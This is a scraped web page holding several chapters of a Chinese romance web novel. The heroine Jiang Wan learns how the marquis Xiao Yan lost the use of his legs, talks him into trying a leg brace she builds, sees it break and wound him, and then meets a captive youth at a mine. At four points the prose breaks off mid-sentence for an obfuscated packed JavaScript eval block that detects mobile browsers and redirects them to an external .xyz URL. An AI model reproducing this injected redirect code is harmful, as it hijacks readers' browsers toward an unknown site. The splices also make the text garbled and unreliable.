姜晚眸光微动，有的人本能地抗拒向他人揭露伤处，大多是源于创伤回避，他们不是怕皮肉之苦，而是怕触及埋藏在痛苦之下的回忆。 姜晚下意识问道：“楚大夫，你可知他这伤是怎么落下的？” 楚桎微怔：“夫人居然不知情？” 姜晚扯了扯嘴角，自己来侯府这么久，萧砚从不细说自己伤病的原因，府中其他人对此也讳莫如深，她也费心于系统任务，根本没心思去打听。 看到姜晚沉默不答，楚桎知道其中或有缘由，也不再多问，只是将目光放到远处，回忆道： “那时大晟刚平定内乱不久，燕王余孽有复起之兆，北境一半主力由萧怀奉、萧怀瑾将军领去支援京畿之地。胡人本就对北境虎视眈眈，便趁北境兵力空虚时反扑，短短半个月连屠三座城池……” “胡人攻势汹汹，打得北境边防措手不及，当时萧家在北境的族人……尽数罹难。侯爷掩护百姓撤离出城，没想到被叛徒泄露了行踪，回城的时候，中了阿木尔的埋伏，被胡人的套马索死死缠住，硬生生拖行半里……” 说到此处，楚桎眼眶泛红，喉间发紧，声音止不住地颤抖：“李老将军带人寻到时，侯爷半身都是血，皮肉烂透了，都能看见里面错了位的骨头。筋腱也断得不成样子，血几乎要染红半里雪地。” 听完楚桎真切的描述，姜晚腿弯隐隐传来尖锐的幻痛，脊背发凉，仿佛自己也置身于那片绝望的血地中。 楚桎停下来平复了一番心情，继续道：“更可恨的是，李老将军为救侯爷，中了胡人的冷箭，回营后没撑过半个月，就去了。” 姜晚在北境的数月，听去不少军中往事，自然听过李绍英李绍荣的父亲——李老将军的事迹。 听闻镇北将军萧怀远和李老将军李伯槐是北境壁垒，也是北境百姓的定心丸。胡人纵然凶悍残暴，也素来闻风丧胆，不敢逾矩分毫。 萧怀远殉国后，是李伯槐独自砥砺坚守，竟生生逼退胡人三十里。 萧家与李家同为将门，世代交好，萧怀远的长子萧翊战死沙场后，李伯槐定然不会眼睁睁看着萧家最后一个血脉惨死。 经过这段时日的耳濡目染，姜晚已经对战事颇为敏锐，将此事顺着前因后果一想，再开口时竟哑了声： “莫非是胡人设局，故意引李老将军深入险境？好趁机攻破防线？” 楚桎重重点头：“八成是这样！胡人险些就得逞了，若不是侯爷强撑病体坐镇中军，还有李氏残部豁命相博，北境的半壁江山，兴许早就成了胡人的土地。” 她只知道那场战争打得艰难，却没想到竟会残酷到这种地步。 姜晚不禁皱眉，她道：“战况如此惨烈，朝廷就不管不问？” 没想到提及朝廷，楚桎语气中恨意更甚，姜晚竟从医者一向温润柔和的脸上看出少见的凛冽。 “朝廷……朝廷根本不可信！当时北境连发十二道求援急报，京城那边就像聋了似的，半点回应都没有！药材都用尽了，就连来隔壁州府前来支援的军医都迟来整整半旬，若不是我小叔叔……若不是我小叔叔冒着违抗军令的风险，带医队日夜兼程连赶三天三夜，莫说侯爷的一双腿保不住，就连营中大批伤员的命也留不住！” 他深吸一口气，止住语中哽咽：“直到去世的前一晚，小叔叔还做着噩梦，嘴里念叨着‘血……好多的血’。他说每天睁眼看到的，都是遍野横尸，城墙垛上、雪地里，到处都是残损的尸身，尸体混着血水和冰雪冻在一起，化也化不开，只能让前来收敛尸身的兵卒用铲子铲，可这冰天雪地的，铲都铲不动……” 这番场景，饶是想象都已让人毛骨悚然。姜晚废了好一番功夫，才勉强将思绪拉回：“所以，侯爷的腿真的好不了了吗？” “很难，”楚桎叹息着摇了摇头，“若是早些医治，兴许筋脉还能趁未坏死前接上，可是等我小叔叔赶到时，已经是多日之后了……” 他顿了顿，声音更加沉重：“侯爷的腿……是被硬生生拖残的，若是想重新站起来，只能靠辅助用具。” 听到这话，姜晚眼中燃起微光，上前一步道：“真的？所以还是能站起来的，对吗？” “可能性聊胜于无，”楚桎道，“这种东西用料之精，做工之细，非寻常工匠能做得。我这辈子唯一见过能用的，还是当年墨家钜子亲手打造的，可惜……那位钜子早已不在人世了。” 姜晚眸光暗了暗，但转瞬间，眼底似乎又重新亮起星火，染上几分坚毅。 她对楚桎颔首，语气平静：“不管怎样，还是多谢楚大夫告知这些。” 楚桎再次拱手道：“夫人客气了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16110789|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，往后若是还有要事需详询，可随时唤我。” 两人拜别后，姜晚转身走进侯府。 刚一入内，便发觉府中与往日有些不寻常，眼角余光忽然瞥见一抹灼眼的红。定睛望去，才发觉是檐角探出的梅枝，枝头缀着冰肌玉骨的红梅。 府中有一株亭亭如盖的老梅树，据说是萧家刚调来北境时栽种的。在她刚来的时候还是光秃秃的，显得萧瑟凄清。没想到过了数月，现在已经开满了红艳艳的梅花。 凛冽的寒风中，有梅香盈盈浮动。 梅花的颜色很浓，浓得似血，仿佛将经年沉淀的血色都化作了一树繁华。 北境鲜有如此热烈的颜色，她不自觉地被这只越过檐角的梅花勾住，脚步忍不住一转，绕过回廊，整棵亭亭梅树闯入眼帘，满树繁华红得热烈又清寂。 她向前走去，忽见树下有一道身影。 萧砚独自坐在树下阖眼休憩养神，肩头落了几片残梅，红与黑交织成难以名状的色彩。 姜晚顿时止住脚步。 萧砚似乎也听到了她的动静，掀起眼来，见是她，许是想起那晚姜晚直白的问话，推动轮椅便要离开，动作却不及姜晚快步上前的速度快。 姜晚一把把住轮椅把手，就算萧砚暗中使劲又使了几分力，她依旧岿然不动。 也许是对惨烈战事的同情，也许是出于那晚的愧疚，多种情绪混杂在一起，姜晚深吸一口气，再次问道： “你想重新站起来吗？” “楚大夫说，你还有机会站起来。”她说得太过急切，连平日的尊称都忘了。 再次听到同样的话，萧砚的反应虽不如上次强烈，但语气仍有寒意： “姜晚，你不觉得自己太放肆了？” “那你罚我吧，”姜晚没有半分退缩，直直地迎上他的目光，嘴角甚至隐隐勾起一抹得意的浅笑，“只要你不怕被百姓的求情书淹死，那就罚我吧。” 经过姜晚这段时日的奔走筹谋，北境已经大变模样，不复从前的凋敝。能够吃饱穿暖，对他们来说，姜晚已成为北境百姓的再生父母，只要她愿意，明天百姓就能拥立她当土皇帝。 萧砚似乎也拿她没辙，不动声色地叹了口气，道：“是楚桎告诉你的？” 姜晚坦然道：“是，他什么都告诉我了。” “那他应该也告诉你，希望微乎其微。” “怎么？你还不相信我？”姜晚挑眉，语中还有受轻视的不服，“我在北境这些时日，干的哪一件事不是从无到有拼出来的？如今北境这番景象，难道还不能证明我能做到？你凭什么还不信我？” 萧砚沉默了，目光落在树上垂下的梅枝上，久久无言。 “萧砚，你在怕什么？” 姜晚道，目光锁着萧砚的侧脸。 “你是怕了吗？是怕就算用了那个法子也站不起来？是怕最后这点渺茫的希望也会彻底破碎？还是怕……” “……就算站起来了，也无法从前那样，上阵杀敌了？” 27.量体 萧砚脊背一僵，苍白如纸的手倏然搭上扶手，指节绷紧死死扣住边沿，肩颈的线条也随着呼吸轻轻颤抖。 姜晚连珠箭般的问话，一字一句，皆触中他心头要害，好似利剑一般将他终日掩藏的惶恐狠狠剖开，而后无情地曝露在刺眼的天光之下，令人备受煎熬。 他忽而低笑一声，笑声很轻，瞬间散在满庭梅花芬芳中，不知是在笑姜晚的坦然无畏，还是对自己的嘲弄。 “姜晚，你见过北境的鹰吗？” 他开口，声音低哑。 姜晚不明所以：“什么？” “折了翅膀鹰，哪怕侥幸活下来，接上最好金翎，也再也飞不上云层。” “你凭什么以为，一个就能让废了三年的腿重新……”他说到此处停住了，仿佛触碰到什么难以言说的隐痛，“……就凭楚桎无依无据的一番说辞？” 姜晚道：“楚大夫既然说了仍有法可解，我又已知晓，便不能当作不知，你当真不想试试？” “不想。” 姜晚道：“你不相信楚大夫？” “是。” 姜晚又道：“你不信自己？” “是。” 姜晚继续道：“那你可相信我？” 萧砚一怔。 姜晚确实不同。 自她踏入北境后，种种不可思议之事都接踵而至。她似乎真的有一股非同寻常的力量，能够化腐朽为神奇。 他忽然发觉自己好像没有理由不相信她。 姜晚趁机上前一步，站到他面前：“哪怕有一分机会能比现在的境况好一些，甚至有可能重回战阵，你也不想吗？” 萧砚别过眼神：“……不想。” 这次他的回应没有那么斩钉截铁，开口前有一丝微不可查的迟疑，似乎在心中拉扯了许久。 是了，姜晚想起那天夜里看到他案上摊开的兵书，一个还想着如何排兵布阵的人，还心系着战局的人，如何能忍受得了自己被囿于一方狭窄的庭院，做一个独看风雨的闲人？ 姜晚决定再添把火。 “这么说来，你是真的认命了？” 墨色的眼底只剩死寂与麻木，像是被那年血染的冰雪彻底冻透了，连最后一丝心气都被磨成齑粉。 可她不信激不起那团火。 “你若是认命了，那些曾经在战中丧命的将士、流离失所百姓，还有李老将军，他们的血都白流了吗？” 姜晚的声音步步紧逼。 “那个害得北境民不聊生的罪魁祸首，阿木尔，可是还活着。” 阿木尔是乌尔汗第三子，当年侵袭北境的胡人统领之一。 当年阿木尔为先锋，连夺数座城池，手中沾满北境无数将士的鲜血。现任乌尔汗垂垂老矣，阿木尔战功赫赫，在胡人部落中威望极盛，是最有望成为新乌尔汗的王子。 若真有这一日，恐怕北境难得安宁。 “若是有朝一日，阿木尔卷土重来又该如何？北境如今好不容易有了起色，到时若无壁垒可依，你难道忍心再让悲剧重演吗？” “你不能认命。” “鹰纵然一时飞不上云层，可它仍然是鹰，照样能让燕雀之辈胆寒。” “你方才问我凭什么以为，”姜晚目光如炬，字字珠玑，“就凭你刚才犹豫了。” 这一瞬，她仿佛看到那一池沉寂的墨色中，有暗流在翻涌。 “你比任何人都清楚——” “你根本不甘心。” 姜晚最后的话语在耳边震荡，像一颗石子骤然砸破冰冻的湖面，激起冰层下沉寂已久的湖水。 有什么一直被压抑的情绪顺着开裂的缺口喷薄而出，还有些许他自己也不愿意承认的松动。 风吹动梅树枝叶，卷起地上零落的梅瓣，满地落红像红毯一般铺开，像极了那一日的满地鲜血。 姜晚说对了，他确实不甘心。 “楚桎的法子，你有几成把握？” 这句话落入姜晚耳中时，已不再是它原本的意思，没有拒绝便是同意。 “你同意了？” 姜晚眼中闪过一丝雀跃，连她自己都没意识到这份欣喜又多么明显。 萧砚颔首应下。 “既然如此……”姜晚往衣袖摸索几下。 几息后，倏然从袖中抽出一卷银白色的软尺，“唰”的一声展开，她道：“那就先量量尺寸吧！” 萧砚目光落到她手中之物上：“你怎么还随身携带这个？” 姜晚淡然一笑：“习惯了，总有用得上的时候，这不就用上了？” 这也算是她的职业素养吧。 见姜晚拿着软尺上前一步，萧砚看了眼天光正好的庭院，日光洒落，他迟疑了一下：“就在这？青天白日的，怕是不妥。” 姜晚已经半蹲下来：“不用麻烦，就在这量吧，省的来回折腾，再说量个尺寸数据而已，有什么不妥？早量完早动工。” 她俯身时，从萧砚的角度只能看到她乌黑的发顶，长如蝶翼的睫毛在眼下微微翕动，眼神认真而专注。 庭中的梅香更浓郁了些，萧砚的视线不由自主地被她吸引，不受控制地落下，最后胶着在她的发旋上，一时竟忘了移开。 姜晚浑然不觉。 软尺灵活地绕过脚踝，又贴着小腿向上，等测到膝盖上方时, 许是不小心碰到旧伤，萧砚膝头轻颤了下。 手上软尺因他细微的动作偏了毫厘，却见姜晚忽地抬头，萧砚不及避开，就这么直白地对上她的眼眸。 “别动，”姜晚皱眉，语中带了些怨怼的意味，“你这样，我量不准的。” 说完后，姜晚俯首继续，好像终于感受到的头顶的那束目光目光，姜晚颇为不自在，忍不住又抬起头。 恐怕手上失了准头，她索性抬手轻轻在那双墨眸前晃了晃，道：“别看我，看前面。” 萧砚回过神来，并未多说，低低应了一声便将眼神别开，乖乖看向远处的梅枝，耳尖却悄然漫上赤色。 软尺重新贴上衣料，虽隔着一层布料，仍能感受到她指尖的温热。那温度随着软尺的辗转，在伤处带起一股酥麻，顺着皮肤一路钻进心底。 隔着衣料能触碰到下面凹凸不平的旧疤。许是意识到方才萧砚方才的反应是因为自己不慎碰到伤处，姜晚动作轻了些。 这里……当时怕是伤的很重吧，脑中再次浮现楚桎描绘的画面，姜晚心中倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16121699|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抽一口凉气。 “好了。” 测量完毕，姜晚径直起身，利落地收起软尺，眼里只有对数据的认真，丝毫没有注意到萧砚耳尖尚未褪去的红意。 等到准备离开时，她才瞧见萧砚脸色怪怪的，不解问道：“怎么了？是我刚才不小心碰到伤处了吗？” 萧砚的回应很平静：“没有，不妨事。” 姜晚仍感觉很奇怪，但又说不上来，只好按下疑惑道：“那我回去先和楚桎他们商讨一下，过段时日再来。” 她的背影渐渐离去，直到那道身影彻底消失在一处拐角，翻涌的情绪才悄然归于沉静。 —— 尺寸量好了，加下来最重要的，便是要搞清楚楚桎所说之物是什么构造。 这是姜晚第一次真切地认识到人脉的重要性。 当楚桎提到墨家钜子时，她首先想到的是燕无漪。燕无漪他爹是钜子的徒弟，都是钜子，虽然不是同一个人，但指不定有点什么关系。 她当即给燕无漪去了信，回信来的很快，只是从字里行间能看出他有些犹豫。 信中说：“自离京后，下官便未曾与家父通过书信，此番怕是要让夫人失望了……” 但燕无漪最终还是依言给远在京城的父亲写了信。 果不其然，他的犹豫是有理的。 他被他爹给骂了。 无外乎是数落他放着好好的墨家技艺不学，偏要去学那些个酸儒治什么经典，治经典也就罢了，还给自己治到京城外去了云云。顺道还宣讲了一通“兼爱”“非攻”等宗旨，颇有点恨铁不成钢的意味。 但骂归骂，燕老看在萧家平定乱世有功的份上，终究还是骂骂咧咧地又修书给自己的师父。现任钜子收到书信后，又在自己师父的师父的浩瀚书卷中一顿翻找，终于在积灰的典籍夹缝中找到了一张已经被虫蚁蛀食得斑驳不堪的图纸。 图纸年代久远，线条模糊，几乎辨认不出原来的结构。 姜晚丝毫不惧，她向来是逢山开路遇水搭桥的性子，越遇到难处，她越要迎难而上。 她抓来楚桎这个专业医生，两人对着模糊的图纸，结合人体骨骼结构反复推测演算，总算复原出一些模糊的关键部位。 为保证万无一失，又将修复好的图纸送到潮河县衙，再由燕无漪传信给燕老，燕老再转呈给钜子，钜子检查无误后再传回…… 如此循环往复几次，脾气躁的燕老终于不耐烦了，直接将钜子居住的山头爆了出来，让这一行人有事直接对接。 书信传递很慢，仅一次周转便要耗时一旬。 燕无漪真是个合格的牛马，为了提高传送效率，他竟捣鼓出一种木鸢机关，可三日三夜飞翔不下，比寻常的信鸽和驿马要快上许多倍。 经过多方努力，残破的图纸总算成功复原。 可眼下，选择何种材料也是一个难题，这种材料不仅要轻便，而且要有韧性，能耐弯耐折。 木片？太脆。竹片？易损。精铁？又太重。 姜晚一时没了头绪。 直到有一日，楚桎忽然开口：“我家附近有位篾匠，他说有种木料叫玄铁木，木质如铁却轻若鸿毛，不知是否可用？” 28.成了 这个名字听起来就很玄幻。 姜晚将这个名字在嘴里咂摸片刻，问楚桎：“这真的靠谱吗？该不会是你从什么话本子里看到的吧？” 楚桎摇头否认，但也没有十足的把握，语中带着不确定，说：“应该……靠谱吧，之前一直听他念叨，说这是他祖上留下来传家宝。再说他是做了一辈子老篾匠，见多识广，定是比我们在这里抓瞎好些。” 姜晚点点头，此话有理。 两人商量妥当后，便由楚桎引路来到老篾匠的住处。 楚桎所说的篾匠姓张，原是晟王刚起兵时从南方老家逃来的，彼时北境和胡人冲突未起，他便在此地落了脚。 听说他手艺不错，识得上百种竹木料，还自称前朝时给宫里的贵人编过竹屏，不过此话无凭无据，是真是假就无从得知了。 几辆车马停在并不宽敞的巷子中，三四个伙计正忙上忙下地往车上装填货物。 楚桎上前招呼道：“张师傅，您先前说的玄铁木可还在？夫人想见一见。” 张篾匠正在指挥人手将竹筐竹篓等制品装进一个已经堆得满满当当的马车里，听到声音连忙放下手上的活计，连声道：“在在在！” 说着，他转身钻进仓库中翻找一通，终于抱出来一截青灰的的料子，如奉珍宝般展示给姜晚。 “夫人请看！” 姜晚凑上去瞧了瞧，只觉得除了颜色很奇怪之外，怎么看都是寻常的木头啊！ 但眼下没有其他合适的材料，只能先试试看。 姜晚想着人家祖传的东西，不能白拿，刚要问价钱，只见张篾匠大手一挥： “夫人您有需要就拿去吧！自从您把商路打通后，那些西边来的大胡子可稀罕俺这手艺了，俺这生意从没这么红火过，怎么能收夫人的钱？这料子权当给夫人的谢礼了！” 看姜晚还有些不好意思收，张篾匠已经直接将木料包好，乐呵呵地塞给了她，自己跳上满载的马车。 “不说啦！俺去送货了，夫人慢走！” 姜晚将怀中的木料轻轻掂了掂，比想象中轻巧很多。又用指节在表面轻划一下，好像确实比寻常的材料要坚固一些，但还没有达到木质如铁的程度。 可除了颜色奇怪、质地坚硬点外，怎么看都是块寻常的木头啊！ 带着几分怀疑，姜晚回到侯府后便打算动工。 军中见识过火铳的厉害后，打算抽调出几个营按照三线战阵专门训练，组成一个火器营，王工匠他们正因此事忙得焦头烂额。再加上北境各部运转已步入正轨，不需姜晚事事亲力亲为，她难得得了粉清闲。 既得空闲，姜晚便没有打算假手于人，而是决定亲自操刀动手。 姜晚以玄铁木做支架，又选了韧性较好的犀牛皮来连接关节处，一番打磨装配后，总算成了形。 完成后，姜晚自己先简单试了下，感觉还不错，于是第二天一大早，她伴着熹微朝霞，带着刚做好的东西，迫不及待来到萧砚门前。 她抬手叩了三声门，里面传来一声低沉的应答声，随即响起轮椅碾过地板的吱呀声，由远及近。 片刻后门扉轻启，萧砚身着一身素色的衣衫，青丝未束，松松散散地披散在身后，竟冲淡了几分眉眼间沉郁。 “这么早……” “成了！” 不等他说完，话语便被姜晚激动的声音打断了。 姜晚便不由分说跨进门槛，她身上还带着晨霜的寒气，一进门便被屋内暖融融的气息包裹，周身暖烘烘的。 “你看！” 说着，她将一个蓝色的布包放在案几上，打开后将东西展现在萧砚眼前。 萧砚的目光落在这青灰色的东西上，手指拂过表面的纹路，眸光微动。 “你费心了。” “很结实的，我试过了，”姜晚心中既有期待，也有忐忑，连声音都不禁放轻了，“别光看啊，试试？就算走不稳，能站一会儿也好。” 萧砚颔首答应了她，并未多言，只是配合她固定好。 一切准备就绪后，萧砚扶着案几，眉头轻拧借力站起来。在双脚稳稳落在地上的瞬间，姜晚目不转睛地盯着，不由自主地放慢呼吸。 就在她以为这次成功了，想让萧砚往前迈开一步时…… “咔嚓”一声轻响。 是什么东西断裂的声音，在寂静的空间里格外清晰。 姜晚：！！！ 她眼睁睁看着关节处的犀牛皮崩断，接口处出现裂痕。 萧砚的身体一倾，她的心提到嗓子眼，下意识伸手要去扶—— 手稳稳地接住了萧砚的手臂。 很好，接住了！姜晚舒了口气，紧绷的心也放松下来。 但是！ 由于她从未与异性亲近过，错估了一个成年男子的重量，压根没使出能托住他的力道。 下一秒，萧砚的重心彻底压过来，姜晚根本承受不了突如其来的重量，她只觉得手臂一沉，眼前的景物瞬间天旋地转。 “噗通”一声。 两人齐齐往后倒去，重重摔在地上。 姜晚后背撞上冰凉的地板，一阵发麻。萧砚双手及时撑在她两侧的地上，支起上半身，才没彻底压在她身上，但也因牵扯到腿上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133434|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧伤，从喉间溢出一声痛苦的闷哼。 一缕发丝自他肩头垂下，轻轻撩过她的颈窝，微凉的触感带起一阵细微的痒意。 姜晚大脑一片空白，浑身僵硬，呼吸也瞬间屏住。 太近了。 近到能闻到他衣襟上清苦的气息，近到能看到他眼底闪过的惊愕，近到能听到那声闷哼就在她耳畔炸开，连带着温热的呼吸拂过耳廓，烫得她耳尖发麻。 绕是她再钢铁直女也知道，这也太亲密了！ 姜晚抬手抵住他的胸膛，手下传来有力的心跳，脸颊瞬间烧了起来： “你……你快起来！” 萧砚闻言刚要动作，却因双腿使不上力，身子微微一晃，险些又要压下来。 姜晚又连忙改口道：“你……你别动，先别动！” 萧砚顿时陷入两难，动也不是，不动也不是，维持着这个极为尴尬的姿势僵在原地。 姜晚深吸一口气冷静下来，手肘撑地勉强坐起身，然后慢慢从这个尴尬的姿势中脱离出来。 站起身后，又觉得不能让萧砚一个人就这样半躺在地上。 姜晚矮下身，抬起他的一条胳膊，绕过脖颈，搭在自己肩上，道：“我扶你起来。” 他这副身体很清瘦，看起来不算重，可惜双腿无法借力，又变得很沉。 姜晚咬了咬牙，攒足力气向上托，可萧砚的身体只是微微抬起寸许，便又重重沉了下去。 不行，抬不动。 姜晚喘了口气，眉头紧锁：“不行啊，我抬不动。” 姜晚这一抬一放，颠簸间牵动到伤处。萧砚额上渗出细汗，唇色都苍白了几分，声音发颤：“周叔……周叔在西厢房，离这不远，可唤他前来……” 好在周叔离得近，没等姜晚起身出去寻，他自己听到动静便连忙赶来，看到这情景直呼“老天”。 “哎哟，夫人，侯爷……你们……你们……这是在干什么呀！” 他三步并做两步冲上来，颤颤巍巍地帮着搀扶，两人合力总算将萧砚扶回轮椅上。 周叔一边擦了擦冷汗直冒的额头，一边念叨：“夫人喜欢捣鼓这些物什也就罢了，怎么侯爷您也跟着胡闹，这要是再伤着筋骨了可如何是好。” 姜晚刚想说什么，方才太混乱没注意，这时才忽然瞥见萧砚素白的衣摆上竟洇出一片暗红。 她瞪大眼睛。 是刺眼的血。 姜晚道：“你受伤了？” 周叔顺着姜晚的视线看去，瞬间停止念叨，屋内霎时恢复安静，只剩下血珠滴落在地板上的声响。 嗒…… 29.少年 旭日高升，金辉漫过院墙，驱散晨雾与残留的寒气。楚桎正蹲在院子里翻晒药材，忽然听到院外传来急促的脚步声。 “楚大夫！楚大夫！” 侯府的仆从急急忙忙地赶来，上气不接下气。 楚桎放下药材：“何事如此慌张？” “楚大夫！快、快随我去侯府，侯爷见了血，夫人请您快些过去！” 楚桎闻言也生出诧异，不过并没有再细想，他立刻放下手中药材，提起药箱便随着仆从往侯府去。 侯府中，方才的一地狼藉已经被收拾干净，空气中飘荡着若有若无的血腥味。 周叔凝重的神色中透出几分慌乱，显然还未从刚刚的乱局中稳定心神。姜晚方才心情激荡，此时虽已平复，可脸颊上的红晕并未完全褪去，现在正立在窗边，盯着窗外长廊上的灯笼沉思。 萧砚坐在轮椅上，已经熟练地用帕子缠住腿上伤口，暗红的血渍透过素白的布料，像晕开的墨点，一点点渗出来。 比起下人的慌张忙乱，他脸上竟没什么波澜，只是脸色比平时要苍白几分。 这样的场景，萧砚再熟悉不过。 希望燃起又破灭，自不良于行后，他试过多少次法子，就经历过多少次这样的时刻。 起初，他还会愤怒、会怨恨、会不甘、会整日整夜地盯着房梁无法入眠，性情变得连自己都感到陌生。 后来次数渐多，也就慢慢被磨习惯了。 从最初撕心裂肺的不甘到如今的淡然处之，仿佛已经习惯了失败，习惯了这种期盼落空的滋味。 他已尝试过太多次，而这一次，不过是众多尝试中的又一次而已。 楚桎快步上前，小心翼翼地解开被血浸透的布条，露出一道三寸长的划痕，虽看着骇人，但好在只是皮肉伤。 楚桎眉头一松，舒了口气道：“还好，只是被木片划伤了，没什么大碍。” 他熟练地清理伤口，敷上止血的药粉，又取来干净棉布仔细包扎好，叮嘱道：“侯爷这几日莫要沾水，伤口虽不深，但腿上旧伤容易引起淤肿。” 萧砚颔首应下，屋内便安静下来，只剩下楚桎开合药箱发出的微微声响。 自楚桎进来后，姜晚一直未发一言，此刻她看向那边，看到那块染血的帕子，一股干涩骤然漫上心头。 “对不起，我没想到居然会……” 姜晚垂眸盯着地面，后半句卡在喉间，怎么也发不出声。 她避开视线并不是因为害怕，只是有些担心，担心萧砚因这次差错再次陷入晦暗。 怎料，萧砚看起来和平日没什么两样，语气中全无责怪之意：“无妨，不过是小伤，不必自责。” 姜晚猛地抬眼看向他，不难以置信。 明明是她给他递去希望，又让这希望破灭，是她的提议落了空，他却还反过来安慰她？ 心口的闷堵越发浓重。 他越这般平静，姜晚越感觉心头堵塞。她倒宁愿他发怒、责备、抱怨，哪怕是一句重话也好，至少能让她心里的这片歉疚有一个宣泄之所。 院中草木在风中沙沙作响，搅得人心烦意乱。 楚桎提着药箱从房内走出，看到姜晚坐在石桌旁，面前摊着那张图纸，正对着那些错综复杂的线条沉思。 她自言自语道：“怎么会失败呢？我之前明明试过了，没有问题……” 楚桎听见她的话，便走近说出自己的猜测：“会不会是图纸有问题？” 姜晚蹙眉：“我们几个都仔细检查过，难不成还会有问题？而且我试过的，那时还没出意外。” 话虽然这么说，她心中还是种下了疑虑的种子，不久便给钜子去了封信，将情况详细说明了一番。 回信来得很快。钜子收到来信后亦是震惊，去翻阅师祖留下的手札才发现，这原是师祖为一位女弟子专门设计的。 那位姑娘天生腿疾，腿骨纤细，筋络也比常人柔软，图纸上的活动关节都是卡着她的活动极限来的，女子使用尚可，若是换做旁人，发力太大，这套结构自然撑不住。 得知真相后，姜晚有些恼火，也有些难堪。 她一时心急，竟忽视了这个关键问题。 没搞清楚便照搬，怪不得会出差池。 姜晚拿起图纸，翻来覆去审视一番，发现了很多之前忽略的问题：“承重不够，支架弧形不贴合，受力点也错了。” 她叹了口气，不过这点颓丧只在她心头徘徊到三秒，便重新燃起干劲。 她就不信了，她堂堂姜晚，怎么会连这点小事都做不成？ 她怎么可能失败？ 不允许！不可能！ 此刻内心汹涌的好胜之意，早已盖过了她想要做成此物的初衷。 先前那块玄铁木看上去不靠谱，却意外的好使，只不过仅够一副的用料，现在已经损毁，还要另换材料。 山木听闻此事，怕她钻牛角尖，也赶过来宽慰她一番，顺便差人送来西域的乌兹钢，问她是否合用。 这东西姜晚在现代时听说过，硬度大、韧性好。 唯一不足之处在于密度较高，太重，做铰链正好合适，至于主体……还需要别的材料。 姜晚已经有了打算。 —— 翌日一早，姜晚没有告诉任何人，独自来到一处矿场。 镣铐拖地的声音与矿镐凿石的声音此起彼伏，她穿了身灰扑扑的粗布工服，混在其中毫不起眼，并未引起旁人注意。 姜晚拿起一把矿镐，在一块巨石上敲了敲，似乎在寻找什么。 一个石子忽然砸在她脚边，她淡淡瞥了一眼，并不在意。 投石之人见自己被这般忽视，似乎颇为不满，继续往姜晚脚边抛石头。 第二个，第三个…… 姜晚终于不耐烦，抬头望去，只见一个少年身着粗布短打，卷曲鬈发乱糟糟地堆在头上，双脚被沉重的镣铐禁锢，手上掂量着第四块石头，正准备掷去。 他脸上沾满泥灰，脏兮兮的，但眼睛很亮，再阳光下泛起碧绿的色泽，正是之前被俘的胡人少年阿勒坦。 自那日在军牢中审过他后，姜晚说话算话，为他那只部落送去了足够过冬的物资。目前为止，他那一支部落还算安分，没有继续侵扰边境，她也没再听到他的消息。 她还以为这小子已经死了。 毕竟军中上下哪个不痛恨胡人，现在他活生生的站在她面前，实在出乎意料。 “是你？”她语气不算友好，“你居然还没死呢？” 阿勒坦眨了眨眼睛，碧绿的眸子里泛起狡黠的波光，故作无辜道：“你这是什么话？我不能活着吗？” “李将军居然会允许你从牢里活着出来？” 李老将军死于胡人算计，李家的将士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144530|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最是痛恨这些异族之人，据说落到李绍英手里的胡人，几乎没有活下来的。 她的视线扫过少年周身，只见他腕上和颈间的疤痕在粗布下纵横交错，触目惊心。 是之前受审时，李绍英抽的鞭子。 阿勒坦注意到姜晚的视线，抬手摸了摸后颈的伤疤，道：“你是说那个疯子？下手真是狠毒，不过还好我命大，最后被移交到别处接管时，还有一口气。” 接着，他坐到一块石头上，挑了下眉毛，玩世不恭道：“喂，要不你把我放了吧！这个矿场里面又累又脏，我实在待不下去了。” 姜晚移走眼神，继续手中的活计：“凭什么放你？” 阿勒坦理所当然地道：“凭我有用啊。” 姜晚没有回应。 他看姜晚一直在专注手中的事，全然没有听进去，索性从石头上跳下来，倏然放软语气，一言一语带着讨好的意味：“姐姐，好姐姐，你就放了我吧，好不好？” 